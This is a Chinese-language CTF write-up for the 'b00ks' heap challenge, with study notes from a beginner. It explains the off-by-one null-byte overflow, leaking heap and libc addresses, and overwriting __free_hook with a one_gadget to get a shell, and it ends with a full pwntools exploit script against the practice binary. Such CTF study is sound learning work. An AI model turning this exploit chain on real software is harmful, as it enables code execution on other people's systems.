混子pwn手,最近在看堆的知识点,刚看完CTF-WiKi上的堆的基础知识,开始学习offbyone的利用
先介绍一下offbyone吧,offbyone是指单字节缓冲区溢出
offbyone形成原因:
- 边界验证不严,使用循环语句向堆块中写入数据时,循环的次数设置错误导致多输入了一个字节
- 字符串的操作不合适
接下来写下CTF-wiki上的b00ks的writeup,因为它上面并没有解题脚本,只介绍了利用方法,看得我这个菜狗有点小蒙,不过还好找到了大佬写的writeup 大佬writeup地址
下面主要是做点笔记
程序是一个菜单程序
它先让你输入author,然后打印菜单
它提供了6个功能
- create book
- delete book
- Edit a book
- print book detail
- change current author name
- exit
这个程序的漏洞在于它在修改author时,存在offbyone漏洞
![](https://img.haomeiwen.com/i8390991/3f3e32bac3f96e3d.png)
这个b00k的结构体:
![](https://img.haomeiwen.com/i8390991/e7c602f0964c2590.png)
大概是这样子的:
struct b00k{
int id;
char *name;
char *description
int size;
}
观察ida反汇编的代码可以发现它对要创建b00k name和description的大小都 没有限制,所以可以创建一个很大的b00k
用gdb调试发现,author后面跟着b00k数组
![](https://img.haomeiwen.com/i8390991/de5e91b158f5f4fa.png)
0x0000555555758160是b00k数组的第一个指针,指向b00k1
只要先往author写入32个字节的内容,然后创建b00k1,在打印就可以泄露出b00k1的地址
这题要泄露出libc的地址,可以通过给b00k2分配一个很大的空间,然后泄露出b00k2的description的地址来计算出libc的地址
原理是:
If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
计算方法:
libc_base = leak_b00k2_pointer - offset
offset是description地址到libc_base的偏移
计算出libc的基地址后,我们就可以通过 基地址+函数在libc中的偏移的方法获取需要的函数的地址
在这里用到的函数是__free_hook()和 execve("/bin/sh",null,environ)
只要将__free_hook()函数的内容修改为execve("/bin/sh",null,environ) 然后再free,只要__free_hook()的内容不为空,它就会去执行内容中的execve("/bin/sh",null,environ)
一些要注意的地方
1. __free_hook()是libc内存管理的钩子函数,允许程序员使用自己定义
的函数来free, 如果__free_hook()的内容不为空,就会执行内容所指
的函数,所以可以通过将__free_hook()函数的内容覆盖成我们想要执
行的函数,再通过free来执行
2. execve("/bin/sh",null,environ) 这个函数可以通过onegadget来找
到,可能找到几个,如果不行就多试几次
解题思路:
- 通过print 泄露处b00k1的地址,计算出b00k2的description的地址
- 通过edit,修改b00k1的description,在上面伪造b00k1,使其的name和description指针指向b00k2的description
- 通过修改author,向author写入32个'a',造成nulloffbyone,使b00k1的指针指向伪造的b00k1
- 通过 print 泄露处b00k2的description的地址,计算出libc_base
- 利用edit功能通过修改b00k1的description将b00k2的description地址修改为__free_hook()函数的地址,再用edit功能向b00k2的description写入execve("/bin/sh",null,environ) 的地址
- 最后通过delete功能将b00k2free掉就可以getshell
附上我写的exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"
def create_b00k(p,size):
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline("aaaa")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline("aaaa")
log.info("create successfully!!!!")
def edit_b00k(p,payload,index):
p.recv()
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))
p.recvuntil(":")
p.sendline(payload)
log.info("edit successfully !!")
def change(p):
p.recvuntil(">")
p.sendline("5")
p.recvuntil(":")
p.sendline("a"*32)
log.info("change successfully!!!!")
def memleak1(p):
p.recv()
p.sendline("4")
p.recvuntil("Author: ")
data = p.recvline()
log.info(p.recvuntil(">"))
data = data.split("a"*32)[1].strip("\n")
addr = u64(data.ljust(8,"\x00"))
return addr
def memleak2(p):
p.recv()
p.sendline("4")
p.recvuntil("Name: ")
data = p.recvline()
data = data.strip("\n").ljust(8,"\x00")
data = u64(data)
log.info("leak b00k2 successsfully")
return data
p = process("./b00ks")
libc = ELF("./libc.so.6")
p.recvuntil(":")
p.sendline('a'*32)
p.recvuntil(">")
create_b00k(p,140) #b00k1的大小不能太小,不然伪造的fake_b00k1就不能落在正确的地方,就不能被泄露出来
def release():
p.sendline("2")
log.info(p.recvuntil(":"))
p.sendline("2")
log.info("********** leak b00ks1 pointer address **********")
addr = memleak1(p)
print "b00k1 pointer address is --> [%s]"%hex(addr)
log.info("********** edit fake_b00k1 ***********")
b00k2_p = addr + 0x38 #0x38 = 0x20 + 16 + 8 strut_size + chunk_header + sizeof(struct.size)
print "b00k2 pointer address --> [%s]"%hex(b00k2_p)
create_b00k(p,0x21000)
payload = 'a'*0x40 + p64(1) + p64(b00k2_p)*2 + p64(0xffff)
edit_b00k(p,payload,1)
log.info("*********** change author name ***********")
change(p)
addr1 = memleak2(p)
print "b00k2 pointer is --> [%s]"%hex(addr1)
log.info("*********** calculate libc_base **************")
gdb.attach(p)
pause()
offset = addr1 - 0x7ffff7a0d000
libc_base = addr1 - offset
print "libc_base address --> [%s]"%hex(libc_base)
free_hook = libc.symbols['__free_hook'] + libc_base
execve_addr = libc_base + 0x4526a #one_gadget libc.so.6
log.info("*******change description **********")
payload = p64(free_hook)*2
edit_b00k(p,payload,1)
payload = p64(execve_addr)
edit_b00k(p,payload,2)
release()
p.interactive()
网友评论